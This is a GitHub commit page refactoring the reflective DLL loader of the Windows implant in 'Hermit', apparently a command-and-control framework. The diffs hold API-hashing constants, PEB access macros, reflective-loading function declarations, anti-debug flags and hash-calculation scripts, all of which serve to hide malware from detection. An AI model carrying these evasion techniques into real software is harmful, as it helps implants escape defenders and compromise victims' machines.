Skip to content

Commit

Permalink
refactored Reflective Loader
Browse files Browse the repository at this point in the history
  • Loading branch information
hideckies committed May 22, 2024
1 parent 2ee8fbb commit 3048c97
Show file tree
Hide file tree
Showing 21 changed files with 560 additions and 346 deletions.
26 changes: 19 additions & 7 deletions payload/win/implant/include/core/macros.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -4,19 +4,31 @@
// DLL
#define DLLEXPORT extern "C" __declspec(dllexport)

// PEB
#ifdef _WIN64
#define PPEB_PTR __readgsqword(0x60)
#else
#define PPEB_PTR __readfsqword(0x30)
#endif

// VALUES
#define INFO_BUFFER_SIZE 32767

// FUNCTIONS
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))
#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))
#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))

#define DEREF(name)*(UINT_PTR *)(name)
#define DEREF_64(name)*(DWORD64 *)(name)
#define DEREF_32(name)*(DWORD *)(name)
#define DEREF_16(name)*(WORD *)(name)
#define DEREF_8(name)*(BYTE *)(name)
#define DEREF(name) *(UINT_PTR*)(name)
#define DEREF_64(name) *(DWORD64*)(name)
#define DEREF_32(name) *(DWORD*)(name)
#define DEREF_16(name) *(WORD*)(name)
#define DEREF_8(name) *(BYTE*)(name)

#define HTONS16( x ) __builtin_bswap16( x )
#define HTONS32( x ) __builtin_bswap32( x )

#define MEMCPY __builtin_memcpy

#ifndef TO_LOWERCASE
#define TO_LOWERCASE(c1, out) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
#endif
Expand Down
35 changes: 11 additions & 24 deletions payload/win/implant/include/core/procs.hpp
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#ifndef HERMIT_CORE_PROCS_HPP
#define HERMIT_CORE_PROCS_HPP

#include "core/macros.hpp"
#include "core/nt.hpp"
#include "core/stdout.hpp"
#include "core/syscalls.hpp"
Expand All @@ -11,23 +12,13 @@
#include <string>
#include <strsafe.h>

// test -----------------------------------
#define HASH_KEY 13

#pragma intrinsic( _rotr )

__forceinline DWORD rotate(DWORD d)
{
return _rotr(d, HASH_KEY);
}
// -----------------------------------------

#define HASH_IV 0x35
#define RANDOM_ADDR 0xab10f29f

// Generated by script/calc_hash.py
#define HASH_MODULE_KERNEL32 0x5b0c4067
#define HASH_MODULE_NTDLL 0x493e52ff
// Generated by script/calc_hash_module
#define HASH_MODULE_KERNEL32 0xf4796887
#define HASH_MODULE_NTDLL 0x3cd7873f
// Generated by script/calc_hash_func.py
#define HASH_FUNC_LDRLOADDLL 0x19cb5e59
#define HASH_FUNC_NTADJUSTPRIVILEGESTOKEN 0x1b79f58d
#define HASH_FUNC_NTALLOCATEVIRTUALMEMORY 0xf8829394
Expand Down Expand Up @@ -86,6 +77,7 @@ __forceinline DWORD rotate(DWORD d)
#define HASH_FUNC_LOADLIBRARYA 0x7069f241
#define HASH_FUNC_LOADLIBRARYW 0x7069f257
#define HASH_FUNC_MESSAGEBOXA 0xcc4a1d08
#define HASH_FUNC_MESSAGEBOXW 0xcc4a1d1e
#define HASH_FUNC_QUERYFULLPROCESSIMAGENAMEW 0xa6e1683e
#define HASH_FUNC_RTLADDFUNCTIONTABLE 0xbe7f92ca
#define HASH_FUNC_SETFILEINFORMATIONBYHANDLE 0xbfea4fe2
Expand Down Expand Up @@ -224,6 +216,8 @@ namespace Procs
typedef HMODULE (WINAPI* LPPROC_LOADLIBRARYW)(LPCWSTR lpLibFileName);
// MessageBoxA
typedef int (WINAPI* LPPROC_MESSAGEBOXA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
// MessageBoxW
typedef int (WINAPI* LPPROC_MESSAGEBOXW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType);
// QueryFullProcessImageNameW
typedef BOOL (WINAPI* LPPROC_QUERYFULLPROCESSIMAGENAMEW)(HANDLE hProcess, DWORD dwFlags, LPWSTR lpExeName, PDWORD lpdwSize);
// RtlAddFunctionTable
Expand Down Expand Up @@ -372,17 +366,10 @@ namespace Procs
};
typedef PROCS* PPROCS;

DWORD GetHashFromString(char* str);
ULONG GetHashFromStringPtr(
PVOID pStr,
SIZE_T dwStrLen,
BOOL bUpper
);
ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen);
DWORD StringToHashFunc(char* str);
PVOID GetModuleByHash(DWORD dwHash);
PVOID GetProcAddressByHash(
HMODULE hModule,
DWORD dwHash
);
PVOID GetProcAddressByHash(HMODULE hModule, DWORD dwHash);
PPROCS FindProcs(
HMODULE hNTDLL,
HMODULE hKernel32DLL,
Expand Down
1 change: 1 addition & 0 deletions payload/win/implant/include/core/system.hpp
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#ifndef HERMIT_CORE_SYSTEM_HPP
#define HERMIT_CORE_SYSTEM_HPP

#include "core/macros.hpp"
#include "core/state.hpp"
#include "core/procs.hpp"
#include "core/stdout.hpp"
Expand Down
7 changes: 1 addition & 6 deletions payload/win/implant/include/core/technique.hpp
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#ifndef HERMIT_CORE_TECHNIQUE_HPP
#define HERMIT_CORE_TECHNIQUE_HPP

#include "core/macros.hpp"
#include "core/procs.hpp"
#include "core/system.hpp"

Expand All @@ -10,12 +11,6 @@
typedef ULONG_PTR (WINAPI * LPPROC_REFLECTIVEDLLLOADER)();
typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);

#define DEREF(name)*(UINT_PTR *)(name)
#define DEREF_64(name)*(DWORD64 *)(name)
#define DEREF_32(name)*(DWORD *)(name)
#define DEREF_16(name)*(WORD *)(name)
#define DEREF_8(name)*(BYTE *)(name)

// Used for Anti-Debug
#define FLG_HEAP_ENABLE_TAIL_CHECK 0x10
#define FLG_HEAP_ENABLE_FREE_CHECK 0x20
Expand Down
16 changes: 13 additions & 3 deletions payload/win/implant/include/rfl.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -5,12 +5,22 @@

#include <windows.h>

#define HASH_KERNEL32DLL 0x6A4ABC5B
#define HASH_NTDLLDLL 0x3CFA685D

typedef ULONG_PTR (WINAPI * REFLECTIVEDLLLOADER)();
typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);

extern "C" LPVOID ReflectiveCaller();

VOID ResolveIAT(
LPVOID lpVirtualAddr,
LPVOID lpIatDir,
Procs::LPPROC_LOADLIBRARYA lpLoadLibraryA,
Procs::LPPROC_GETPROCADDRESS lpGetProcAddress
);
VOID ReallocateSections(
LPVOID lpVirtualAddr,
LPVOID lpImageBase,
LPVOID lpBaseRelocDir,
PIMAGE_NT_HEADERS pNtHeaders
);

#endif // HERMIT_RFL_HPP
14 changes: 14 additions & 0 deletions payload/win/implant/script/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
# Hermit Script

## Calculate Module Hashes

```sh
g++ -o calc_hash_module calc_hash_module.cpp
./calc_hash_module
```

## Calculate Function Hashes

```sh
python3 calc_hash_func.py
```
Original file line number Diff line number Diff line change
@@ -1,10 +1,5 @@
from typing import Mapping

MODULES = [
"KERNEL32.DLL",
"NTDLL.DLL",
]

FUNCS = [
# NATIVE APIS
"LdrLoadDll",
Expand Down Expand Up @@ -67,6 +62,7 @@
"LoadLibraryA",
"LoadLibraryW",
"MessageBoxA",
"MessageBoxW",
"QueryFullProcessImageNameW",
"RtlAddFunctionTable",
"SetFileInformationByHandle",
Expand Down Expand Up @@ -110,15 +106,6 @@ def is_dupl(hashes: Mapping[str, str], hash: str) -> bool:
def main():
hashes = {}

for mod in MODULES:
hash_value = calc_hash(mod)
hash_fmt = f"{'0x{0:x}'.format(hash_value)}"
# Check if the hash is duplicate
if is_dupl(hashes, hash_fmt) is True:
print("The calculated hash is duplicate. Please try again.")
return
hashes[f"#define HASH_MODULE_{mod.upper().replace('.DLL', '')}"] = hash_fmt

for func in FUNCS:
hash_value = calc_hash(func)
hash_fmt = f"{'0x{0:x}'.format(hash_value)}"
Expand Down
Binary file added payload/win/implant/script/calc_hash_module
Binary file not shown.
75 changes: 75 additions & 0 deletions payload/win/implant/script/calc_hash_module.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
#include <iostream>
#include <ctype.h>
#include <iomanip>
#include <map>
#include <string>
#include <cstring>

#define HASH_IV 0x35
#define RANDOM_ADDR 0xab10f29f

char* toUpper(const char* str)
{
size_t dwLen = strlen(str);
char result[dwLen + 1];

for (size_t i = 0; i < dwLen; i++)
{
result[i] = toupper(str[i]);
}
result[dwLen] = '\0';

return strdup(result);
}

unsigned long calcHash(const char* str)
{
unsigned long hash = HASH_IV;
const unsigned char* s = (const unsigned char*)str;

while (*s)
{
hash = hash * RANDOM_ADDR + (*s);
*s++;
}

return hash & 0xFFFFFFFF;
}

int main()
{
std::map<std::string, unsigned long> myMap;

char modules[2][30] = {"kernel32.dll", "ntdll.dll"};

for (int i = 0; i < 2; i++)
{
char* moduleUpper = modules[i];

// Make a key
char buffer[100];
std::sprintf(buffer, "#define HASH_MODULE_%s", moduleUpper);
std::string key(buffer);
// Remvoe '.DLL' from the key.
key = key.substr(0, key.length() - 4);

myMap[key] = calcHash(modules[i]);
}

// Get max key length for the map.
size_t maxLen = 0;
for (const auto& pair : myMap)
{
size_t keyLen = pair.first.length();
if (keyLen > maxLen)
{
maxLen = keyLen;
}
}

// Output
for (const auto& pair : myMap)
{
printf("%-*s 0x%lx\n", static_cast<int>(maxLen), pair.first.c_str(), pair.second);
}
}
Loading

0 comments on commit 3048c97

Please sign in to comment.